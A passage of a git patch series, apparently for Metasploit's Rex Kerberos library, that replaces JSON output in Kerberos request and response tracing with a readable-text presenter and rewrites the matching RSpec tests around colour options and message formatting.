+          when Rex::Proto::Kerberos::Model::AS_REP
+            'AS-REP'
+          when Rex::Proto::Kerberos::Model::TGS_REQ
+            'TGS-REQ'
+          when Rex::Proto::Kerberos::Model::TGS_REP
+            'TGS-REP'
+          when Rex::Proto::Kerberos::Model::AP_REQ
+            'AP-REQ'
+          when Rex::Proto::Kerberos::Model::AP_REP
+            'AP-REP'
+          when Rex::Proto::Kerberos::Model::KRB_ERROR
+            'KRB-ERROR'
+          else
+            'UNKNOWN'
+          end
+        end
 
-    def printable_string?(value)
-      utf8_value = value.dup.force_encoding(::Encoding::UTF_8)
-      utf8_value.valid_encoding? && utf8_value.match?(/\A[[:print:]\r\n\t ]*\z/)
-    rescue ::Encoding::CompatibilityError
-      false
-    end
+        def enum_type_name(value, element)
+          if element.is_a?(Rex::Proto::Kerberos::Model::PreAuthDataEntry)
+            const_name_for_value(Rex::Proto::Kerberos::Model::PreAuthType, value)
+          elsif element.is_a?(Rex::Proto::Kerberos::Model::EncryptionKey)
+            enum_etype_name(value)
+          end
+        end
 
-    def blank_value?(value)
-      # Avoid depending on ActiveSupport's `blank?` for this Rex-level helper.
-      return true if value.nil? || value == false
-      return value.strip.empty? if value.respond_to?(:strip)
-      return value.empty? if value.respond_to?(:empty?)
+        def enum_etype_name(value)
+          Rex::Proto::Kerberos::Crypto::Encryption.const_name(value) || 'UNKNOWN'
+        end
+
+        def enum_name_type_name(value, element)
+          return nil unless element.is_a?(Rex::Proto::Kerberos::Model::PrincipalName)
+
+          const_name_for_value(Rex::Proto::Kerberos::Model::NameType, value)
+        end
 
-      false
+        def const_name_for_value(mod, value)
+          mod.constants.each do |const_name|
+            return const_name.to_s if mod.const_get(const_name) == value
+          rescue StandardError
+            next
+          end
+
+          'UNKNOWN'
+        end
+
+        def kerberos_error_code?(value)
+          value.respond_to?(:name) && value.respond_to?(:value) && value.respond_to?(:description)
+        end
+
+        def serialize_string(value)
+          return value if printable_string?(value)
+
+          # Expand binary/non-printable strings fully in hex.
+          "[binary #{value.bytesize} bytes: #{value.unpack1('H*')}]"
+        end
+
+        def ticket_presenter
+          @ticket_presenter ||= Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(nil)
+        end
+
+        def readable_text_presenter
+          @readable_text_presenter ||= Rex::Proto::Kerberos::KerberosReadableTextPresenter.new
+        end
+
+        def printable_string?(value)
+          utf8_value = value.dup.force_encoding(::Encoding::UTF_8)
+          utf8_value.valid_encoding? && utf8_value.match?(/\A[[:print:]\r\n\t ]*\z/)
+        rescue ::Encoding::CompatibilityError
+          false
+        end
+
+        def blank_value?(value)
+          # Avoid depending on ActiveSupport's `blank?` for this Rex-level helper.
+          return true if value.nil? || value == false
+          return value.strip.empty? if value.respond_to?(:strip)
+          return value.empty? if value.respond_to?(:empty?)
+
+          false
+        end
+      end
     end
   end
-
-end
-end
 end
diff --git a/lib/rex/proto/kerberos/kerberos_readable_text_presenter.rb b/lib/rex/proto/kerberos/kerberos_readable_text_presenter.rb
new file mode 100644
index 0000000000000..e307be4eb2ae0
--- /dev/null
+++ b/lib/rex/proto/kerberos/kerberos_readable_text_presenter.rb
@@ -0,0 +1,98 @@
+# -*- coding: binary -*-
+
+module Rex
+module Proto
+module Kerberos
+
+  class KerberosReadableTextPresenter
+    READABLE_TEXT_LABELS = {
+      'pvno' => 'Protocol Version',
+      'msg_type' => 'Message Type',
+      'pa_data' => 'Pre-Authentication Data',
+      'req_body' => 'Request Body',
+      'crealm' => 'Client Realm',
+      'cname' => 'Client Name',
+      'realm' => 'Realm',
+      'sname' => 'Server Name',
+      'enc_part' => 'Encrypted Part',
+      'etype' => 'Encryption Type',
+      'name_type' => 'Name Type',
+      'name_string' => 'Name String',
+      'error_code' => 'Error Code',
+      'e_data' => 'Error Data',
+      'etext' => 'Error Text',
+      'stime' => 'Server Time',
+      'ctime' => 'Client Time',
+      'susec' => 'Server Microseconds',
+      'cusec' => 'Client Microseconds',
+      'options' => 'KDC Options',
+      'ticket' => 'Ticket',
+      'tkt_vno' => 'Ticket Version Number',
+      'kvno' => 'Key Version Number',
+      'flags' => 'Flags'
+    }.freeze
+
+    def present(serialized_message)
+      lines = []
+      case serialized_message
+      when Hash
+        append_hash(lines, serialized_message, indent: 0)
+      when Array
+        append_array(lines, serialized_message, indent: 0)
+      else
+        lines << serialized_message.to_s
+      end
+      lines.join("\n")
+    end
+
+    private
+
+    def append_hash(lines, value, indent:)
+      value.each do |key, entry|
+        append_field(lines, key, entry, indent: indent)
+      end
+    end
+
+    def append_field(lines, key, value, indent:)
+      label = readable_text_label(key)
+      spacing = ' ' * indent
+      case value
+      when Hash
+        lines << "#{spacing}#{label}:"
+        append_hash(lines, value, indent: indent + 2)
+      when Array
+        if value.empty?
+          lines << "#{spacing}#{label}: []"
+        else
+          lines << "#{spacing}#{label}:"
+          append_array(lines, value, indent: indent + 2)
+        end
+      else
+        lines << "#{spacing}#{label}: #{value}"
+      end
+    end
+
+    def append_array(lines, value, indent:)
+      spacing = ' ' * indent
+      value.each_with_index do |entry, index|
+        case entry
+        when Hash
+          lines << "#{spacing}Entry[#{index}]:"
+          append_hash(lines, entry, indent: indent + 2)
+        when Array
+          lines << "#{spacing}Entry[#{index}]:"
+          append_array(lines, entry, indent: indent + 2)
+        else
+          lines << "#{spacing}- #{entry}"
+        end
+      end
+    end
+
+    def readable_text_label(key)
+      READABLE_TEXT_LABELS[key.to_s] || key.to_s.split('_').map(&:capitalize).join(' ')
+    end
+  end
+
+end
+end
+end
diff --git a/lib/rex/proto/kerberos/kerberos_subscriber.rb b/lib/rex/proto/kerberos/kerberos_subscriber.rb
index 486d35b661a56..aba78608fad26 100644
--- a/lib/rex/proto/kerberos/kerberos_subscriber.rb
+++ b/lib/rex/proto/kerberos/kerberos_subscriber.rb
@@ -1,28 +1,26 @@
 # -*- coding: binary -*-
 
 module Rex
-module Proto
-module Kerberos
+  module Proto
+    module Kerberos
+      # Subscriber interface for observing Kerberos request/response messages.
+      class KerberosSubscriber
+        # @param request [Rex::Proto::Kerberos::Model::KdcRequest, Rex::Proto::Kerberos::Model::ApReq]
+        def on_request(request)
+          nil
+        end
 
-  # Subscriber interface for observing Kerberos request/response messages.
-  class KerberosSubscriber
-    # @param request [Rex::Proto::Kerberos::Model::KdcRequest, Rex::Proto::Kerberos::Model::ApReq]
-    def on_request(request)
-      nil
-    end
-
-    # @param response [Rex::Proto::Kerberos::Model::KdcResponse, Rex::Proto::Kerberos::Model::ApRep, Rex::Proto::Kerberos::Model::KrbError]
-    def on_response(response)
-      nil
-    end
+        # @param response [Rex::Proto::Kerberos::Model::KdcResponse, Rex::Proto::Kerberos::Model::ApRep, Rex::Proto::Kerberos::Model::KrbError]
+        def on_response(response)
+          nil
+        end
 
-    # @param credential [Rex::Proto::Kerberos::CredentialCache::Krb5CcacheCredential]
-    # @param source [String,nil]
-    def on_credential(credential, source: nil)
-      nil
+        # @param credential [Rex::Proto::Kerberos::CredentialCache::Krb5CcacheCredential]
+        # @param source [String,nil]
+        def on_credential(credential, source: nil)
+          nil
+        end
+      end
     end
   end
-
-end
-end
 end
diff --git a/spec/lib/msf/base/serializer/readable_text_spec.rb b/spec/lib/msf/base/serializer/readable_text_spec.rb
index e39dfa6ad6944..c63fb1c4ba273 100644
--- a/spec/lib/msf/base/serializer/readable_text_spec.rb
+++ b/spec/lib/msf/base/serializer/readable_text_spec.rb
@@ -291,6 +291,8 @@ def initialize
           Name                              Current Setting                                   Required  Description
           ----                              ---------------                                   --------  -----------
           DomainControllerRhost                                                               no        The resolvable rhost for the Domain Controller
+          KerberosTicketTrace               false                                             no        Show AS/TGS/AP Kerberos requests and responses
+          KerberosTicketTraceColors         red/blu                                           no        Kerberos request and response colors for KerberosTicketTrace (unset to disable)
           KrbClockSkew                      0s                                                yes       Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)
           Winrm::Krb5Ccname                                                                   no        The ccache file to use for kerberos authentication
           Winrm::KrbOfferedEncryptionTypes  AES256,AES128,RC4-HMAC,DES-CBC-MD5,DES3-CBC-SHA1  yes       Kerberos encryption types to offer
@@ -351,6 +353,8 @@ def initialize
           Name                              Current Setting                                   Required  Description
           ----                              ---------------                                   --------  -----------
           DomainControllerRhost                                                               no        The resolvable rhost for the Domain Controller
+          KerberosTicketTrace               false                                             no        Show AS/TGS/AP Kerberos requests and responses
+          KerberosTicketTraceColors         red/blu                                           no        Kerberos request and response colors for KerberosTicketTrace (unset to disable)
           KrbClockSkew                      0s                                                yes       Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)
           Winrm::Krb5Ccname                                                                   no        The ccache file to use for kerberos authentication
           Winrm::KrbOfferedEncryptionTypes  AES256,AES128,RC4-HMAC,DES-CBC-MD5,DES3-CBC-SHA1  yes       Kerberos encryption types to offer
diff --git a/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb b/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
index e4b654494fee5..28e8ad7068495 100644
--- a/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
+++ b/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
@@ -58,19 +58,36 @@
 
     context 'when KerberosTicketTrace is enabled with default colors' do
       let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
+        expected_trace_output(
+          direction: 'Request',
+          message_name: 'AS-REQ',
+          color_prefix: '%bld%red',
+          body: expected_basic_body(msg_type: Rex::Proto::Kerberos::Model::AS_REQ, msg_name: 'AS-REQ')
+        )
+      end
+
+      it 'prints a colored request header and readable text payload' do
+        log_request
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when the readable text presenter raises an error' do
+      let(:expected_output) do
+        expected_trace_output(
+          direction: 'Request',
+          message_name: 'AS-REQ',
+          color_prefix: '%bld%red',
+          body: 'Kerberos trace rendering error: RuntimeError: boom'
+        )
+      end
+
+      before do
+        allow(subscriber).to receive(:readable_text_presenter).and_raise(RuntimeError, 'boom')
       end
 
-      it 'prints a colored request header and JSON payload' do
+      it 'prints an error placeholder without interrupting the flow' do
         log_request
 
         expect(output_text).to eq(expected_output)
@@ -100,16 +117,12 @@
     context 'when request msg_type is unknown' do
       let(:request_message) { build_kerberos_message(msg_type: 999) }
       let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: UNKNOWN (999)
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": 999,
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
+        expected_trace_output(
+          direction: 'Request',
+          message_name: 'UNKNOWN (999)',
+          color_prefix: '%bld%red',
+          body: expected_basic_body(msg_type: 999, msg_name: 'UNKNOWN')
+        )
       end
 
       it 'prints UNKNOWN with the numeric msg_type' do
@@ -122,12 +135,12 @@
     context 'when request object does not expose attributes' do
       let(:request_message) { 'raw-payload' }
       let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: UNKNOWN
-          ####################
-          %clr%bld%redraw-payload%clr
-        EOF
+        expected_trace_output(
+          direction: 'Request',
+          message_name: 'UNKNOWN',
+          color_prefix: '%bld%red',
+          body: 'raw-payload'
+        )
       end
 
       it 'falls back to to_s formatting' do
@@ -137,135 +150,30 @@
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to red/blu' do
-      let(:trace_colors) { 'red/blu' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'uses the configured request color' do
-        log_request
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is set to yel/' do
-      let(:trace_colors) { 'yel/' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr%bld%yel{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'uses the configured request color with a blank response color' do
-        log_request
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is set to /grn' do
-      let(:trace_colors) { '/grn' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'uses no request color when the request side is blank' do
-        log_request
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is set to blu' do
-      let(:trace_colors) { 'blu' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr%bld%blu{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'treats a single color as request-only' do
-        log_request
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is set to /' do
-      let(:trace_colors) { '/' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'disables both request and response color prefixes' do
-        log_request
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is blank' do
-      let(:trace_colors) { '   ' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
+    {
+      'red/blu' => '%bld%red',
+      'yel/' => '%bld%yel',
+      '/grn' => '',
+      'blu' => '%bld%blu',
+      '/' => '',
+      '   ' => '%bld%red'
+    }.each do |configured_colors, expected_prefix|
+      context "when KerberosTicketTraceColors is set to #{configured_colors.inspect}" do
+        let(:trace_colors) { configured_colors }
+        let(:expected_output) do
+          expected_trace_output(
+            direction: 'Request',
+            message_name: 'AS-REQ',
+            color_prefix: expected_prefix,
+            body: expected_basic_body(msg_type: Rex::Proto::Kerberos::Model::AS_REQ, msg_name: 'AS-REQ')
+          )
+        end
 
-      it 'falls back to default red/blu colors' do
-        log_request
+        it 'uses the expected request color prefix' do
+          log_request
 
-        expect(output_text).to eq(expected_output)
+          expect(output_text).to eq(expected_output)
+        end
       end
     end
 
@@ -280,16 +188,12 @@
       context "when request msg_type is #{msg_name}" do
         let(:request_message) { build_kerberos_message(msg_type: msg_type) }
         let(:expected_output) do
-          <<~EOF.rstrip
-            ####################
-            # Kerberos Request: #{msg_name}
-            ####################
-            %clr%bld%red{
-              "pvno": 5,
-              "msg_type": #{msg_type},
-              "crealm": "EXAMPLE.LOCAL"
-            }%clr
-          EOF
+          expected_trace_output(
+            direction: 'Request',
+            message_name: msg_name,
+            color_prefix: '%bld%red',
+            body: expected_basic_body(msg_type: msg_type, msg_name: msg_name)
+          )
         end
 
         it 'maps message type to the expected label' do
@@ -309,17 +213,17 @@
         )
       end
       let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL",
-            "ticket": "[binary 40 bytes: #{binary_hex}]"
-          }%clr
-        EOF
+        expected_trace_output(
+          direction: 'Request',
+          message_name: 'AS-REQ',
+          color_prefix: '%bld%red',
+          body: <<~EOF.rstrip
+            Protocol Version: 5
+            Message Type: #{Rex::Proto::Kerberos::Model::AS_REQ} (AS-REQ)
+            Client Realm: EXAMPLE.LOCAL
+            Ticket: [binary 40 bytes: #{binary_hex}]
+          EOF
+        )
       end
 
       it 'prints binary data as tagged hex bytes' do
@@ -359,40 +263,34 @@
         )
       end
       let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: KRB-ERROR
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::KRB_ERROR},
-            "crealm": "EXAMPLE.LOCAL",
-            "stime": "2026-03-07T12:00:00Z",
-            "tags": [
-              "ap",
-              "error"
-            ],
-            "metadata": {
-              "source": "kdc"
-            },
-            "error_code": {
-              "name": "KRB_AP_ERR_MODIFIED",
-              "value": 41,
-              "description": "Message stream modified"
-            },
-            "options": {
-              "value": #{kdc_options.to_i},
-              "flags": [
-                "FORWARDABLE",
-                "RENEWABLE"
-              ]
-            },
-            "etype_set": [
-              18,
-              17
-            ]
-          }%clr
-        EOF
+        expected_trace_output(
+          direction: 'Request',
+          message_name: 'KRB-ERROR',
+          color_prefix: '%bld%red',
+          body: <<~EOF.rstrip
+            Protocol Version: 5
+            Message Type: #{Rex::Proto::Kerberos::Model::KRB_ERROR} (KRB-ERROR)
+            Client Realm: EXAMPLE.LOCAL
+            Server Time: 2026-03-07T12:00:00Z
+            Tags:
+              - ap
+              - error
+            Metadata:
+              Source: kdc
+            Error Code:
+              Name: KRB_AP_ERR_MODIFIED
+              Value: 41
+              Description: Message stream modified
+            KDC Options:
+              Value: #{kdc_options.to_i}
+              Flags:
+                - FORWARDABLE
+                - RENEWABLE
+            Etype Set:
+              - 18
+              - 17
+          EOF
+        )
       end
 
       it 'normalizes time, symbols, flags, sets and error code objects' do
@@ -425,32 +323,28 @@
         )
       end
       let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REP
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL",
-            "ticket": {
-              "tkt_vno": 5,
-              "realm": "EXAMPLE.LOCAL",
-              "sname": {
-                "name_type": #{Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST},
-                "name_string": [
-                  "krbtgt",
-                  "EXAMPLE.LOCAL"
-                ]
-              },
-              "enc_part": {
-                "etype": #{Rex::Proto::Kerberos::Crypto::Encryption::AES256},
-                "kvno": 2,
-                "cipher": "[binary 3 bytes: 010203]"
-              }
-            }
-          }%clr
-        EOF
+        expected_trace_output(
+          direction: 'Request',
+          message_name: 'AS-REP',
+          color_prefix: '%bld%red',
+          body: <<~EOF.rstrip
+            Protocol Version: 5
+            Message Type: #{Rex::Proto::Kerberos::Model::AS_REP} (AS-REP)
+            Client Realm: EXAMPLE.LOCAL
+            Ticket:
+              Ticket Version Number: 5
+              Realm: EXAMPLE.LOCAL
+              Server Name:
+                Name Type: #{Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST} (NT_SRV_INST)
+                Name String:
+                  - krbtgt
+                  - EXAMPLE.LOCAL
+              Encrypted Part:
+                Encryption Type: #{Rex::Proto::Kerberos::Crypto::Encryption::AES256} (AES256)
+                Key Version Number: 2
+                Cipher: [binary 3 bytes: 010203]
+          EOF
+        )
       end
 
       it 'recursively serializes nested model attributes' do
@@ -459,6 +353,95 @@
         expect(output_text).to eq(expected_output)
       end
     end
+
+    context 'when serializing PA-DATA types and etype arrays' do
+      let(:request_message) do
+        build_kerberos_message(
+          msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
+          fields: {
+            pa_data: [
+              Rex::Proto::Kerberos::Model::PreAuthDataEntry.new(
+                type: Rex::Proto::Kerberos::Model::PreAuthType::PA_PAC_REQUEST,
+                value: "\x30\x05\xA0\x03\x01\x01\xFF".b
+              )
+            ],
+            req_body: Rex::Proto::Kerberos::Model::KdcRequestBody.new(
+              etype: [
+                Rex::Proto::Kerberos::Crypto::Encryption::AES256,
+                Rex::Proto::Kerberos::Crypto::Encryption::AES128,
+                Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC
+              ]
+            )
+          }
+        )
+      end
+      let(:expected_output) do
+        expected_trace_output(
+          direction: 'Request',
+          message_name: 'AS-REQ',
+          color_prefix: '%bld%red',
+          body: <<~EOF.rstrip
+            Protocol Version: 5
+            Message Type: #{Rex::Proto::Kerberos::Model::AS_REQ} (AS-REQ)
+            Client Realm: EXAMPLE.LOCAL
+            Pre-Authentication Data:
+              Entry[0]:
+                Type: #{Rex::Proto::Kerberos::Model::PreAuthType::PA_PAC_REQUEST} (PA_PAC_REQUEST)
+                Value: [binary 7 bytes: 3005a0030101ff]
+            Request Body:
+              Encryption Type:
+                - #{Rex::Proto::Kerberos::Crypto::Encryption::AES256} (AES256)
+                - #{Rex::Proto::Kerberos::Crypto::Encryption::AES128} (AES128)
+                - #{Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC} (RC4_HMAC)
+          EOF
+        )
+      end
+
+      it 'renders key enum values in a readable value+name format' do
+        log_request
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when serializing unknown enum values in mapped fields' do
+      let(:request_message) do
+        build_kerberos_message(
+          msg_type: 12_345,
+          fields: {
+            req_body: Rex::Proto::Kerberos::Model::KdcRequestBody.new(
+              cname: Rex::Proto::Kerberos::Model::PrincipalName.new(
+                name_type: 54_321,
+                name_string: ['user']
+              )
+            )
+          }
+        )
+      end
+      let(:expected_output) do
+        expected_trace_output(
+          direction: 'Request',
+          message_name: 'UNKNOWN (12345)',
+          color_prefix: '%bld%red',
+          body: <<~EOF.rstrip
+            Protocol Version: 5
+            Message Type: 12345 (UNKNOWN)
+            Client Realm: EXAMPLE.LOCAL
+            Request Body:
+              Client Name:
+                Name Type: 54321 (UNKNOWN)
+                Name String:
+                  - user
+          EOF
+        )
+      end
+
+      it 'uses UNKNOWN labels for unmapped enum values' do
+        log_request
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
   end
 
   describe '#on_response' do
@@ -472,19 +455,15 @@
 
     context 'when KerberosTicketTrace is enabled with default colors' do
       let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: AS-REP
-          ####################
-          %clr%bld%blu{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
+        expected_trace_output(
+          direction: 'Response',
+          message_name: 'AS-REP',
+          color_prefix: '%bld%blu',
+          body: expected_basic_body(msg_type: Rex::Proto::Kerberos::Model::AS_REP, msg_name: 'AS-REP')
+        )
       end
 
-      it 'prints a colored response header and JSON payload' do
+      it 'prints a colored response header and readable text payload' do
         log_response
 
         expect(output_text).to eq(expected_output)
@@ -532,16 +511,12 @@
     context 'when response msg_type is unknown' do
       let(:response_message) { build_kerberos_message(msg_type: 31_337) }
       let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: UNKNOWN (31337)
-          ####################
-          %clr%bld%blu{
-            "pvno": 5,
-            "msg_type": 31337,
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
+        expected_trace_output(
+          direction: 'Response',
+          message_name: 'UNKNOWN (31337)',
+          color_prefix: '%bld%blu',
+          body: expected_basic_body(msg_type: 31_337, msg_name: 'UNKNOWN')
+        )
       end
 
       it 'prints UNKNOWN with the numeric msg_type' do
@@ -554,12 +529,12 @@
     context 'when response object does not expose attributes' do
       let(:response_message) { :raw_payload }
       let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: UNKNOWN
-          ####################
-          %clr%bld%bluraw_payload%clr
-        EOF
+        expected_trace_output(
+          direction: 'Response',
+          message_name: 'UNKNOWN',
+          color_prefix: '%bld%blu',
+          body: 'raw_payload'
+        )
       end
 
       it 'falls back to to_s formatting' do
@@ -569,113 +544,29 @@
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to red/blu' do
-      let(:trace_colors) { 'red/blu' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: AS-REP
-          ####################
-          %clr%bld%blu{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'uses the configured response color' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is set to yel/' do
-      let(:trace_colors) { 'yel/' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: AS-REP
-          ####################
-          %clr{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'uses no response color when the response side is blank' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is set to /grn' do
-      let(:trace_colors) { '/grn' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: AS-REP
-          ####################
-          %clr%bld%grn{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'uses the configured response color' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is set to blu' do
-      let(:trace_colors) { 'blu' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: AS-REP
-          ####################
-          %clr{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
-
-      it 'treats a single color as request-only' do
-        log_response
-
-        expect(output_text).to eq(expected_output)
-      end
-    end
-
-    context 'when KerberosTicketTraceColors is set to /' do
-      let(:trace_colors) { '/' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Response: AS-REP
-          ####################
-          %clr{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
-      end
+    {
+      'red/blu' => '%bld%blu',
+      'yel/' => '',
+      '/grn' => '%bld%grn',
+      'blu' => '',
+      '/' => ''
+    }.each do |configured_colors, expected_prefix|
+      context "when KerberosTicketTraceColors is set to #{configured_colors.inspect}" do
+        let(:trace_colors) { configured_colors }
+        let(:expected_output) do
+          expected_trace_output(
+            direction: 'Response',
+            message_name: 'AS-REP',
+            color_prefix: expected_prefix,
+            body: expected_basic_body(msg_type: Rex::Proto::Kerberos::Model::AS_REP, msg_name: 'AS-REP')
+          )
+        end
 
-      it 'disables both request and response color prefixes' do
-        log_response
+        it 'uses the expected response color prefix' do
+          log_response
 
-        expect(output_text).to eq(expected_output)
+          expect(output_text).to eq(expected_output)
+        end
       end
     end
 
@@ -690,16 +581,12 @@
       context "when response msg_type is #{msg_name}" do
         let(:response_message) { build_kerberos_message(msg_type: msg_type) }
         let(:expected_output) do
-          <<~EOF.rstrip
-            ####################
-            # Kerberos Response: #{msg_name}
-            ####################
-            %clr%bld%blu{
-              "pvno": 5,
-              "msg_type": #{msg_type},
-              "crealm": "EXAMPLE.LOCAL"
-            }%clr
-          EOF
+          expected_trace_output(
+            direction: 'Response',
+            message_name: msg_name,
+            color_prefix: '%bld%blu',
+            body: expected_basic_body(msg_type: msg_type, msg_name: msg_name)
+          )
         end
 
         it 'maps message type to the expected label' do
@@ -825,6 +712,23 @@
     end
   end
 
+  def expected_trace_output(direction:, message_name:, color_prefix:, body:)
+    [
+      '####################',
+      "# Kerberos #{direction}: #{message_name}",
+      '####################',
+      "%clr#{color_prefix}#{body}%clr"
+    ].join("\n")
+  end
+
+  def expected_basic_body(msg_type:, msg_name:)
+    <<~EOF.rstrip
+      Protocol Version: 5
+      Message Type: #{msg_type} (#{msg_name})
+      Client Realm: EXAMPLE.LOCAL
+    EOF
+  end
+
   def build_kerberos_message(msg_type:, fields: {})
     payload = {
       pvno: 5,

From d4c68717cbe5110bcc0adf976f9cfa42d9d99d7f Mon Sep 17 00:00:00 2001
From: cyan <1570302455@qq.com>
Date: Fri, 15 May 2026 09:34:29 -0700
Subject: [PATCH 103/103]  Improve Kerberos readable trace formatting and spec

---
 .../kerberos/kerberos_logger_subscriber.rb    |   2 -
 .../kerberos_readable_text_presenter.rb       | 165 +++--
 .../kerberos_logger_subscriber_spec.rb        | 666 ++++++++----------
 3 files changed, 385 insertions(+), 448 deletions(-)

diff --git a/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
index 92509ea72e49d..d62b920eca01b 100644
--- a/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
+++ b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
@@ -193,8 +193,6 @@ def serialize_enum_value(value, element:, attribute:)
                         enum_etype_name(value)
                       when :name_type
                         enum_name_type_name(value, element)
-                      else
-                        nil
                       end
           return nil if enum_name.nil?
 
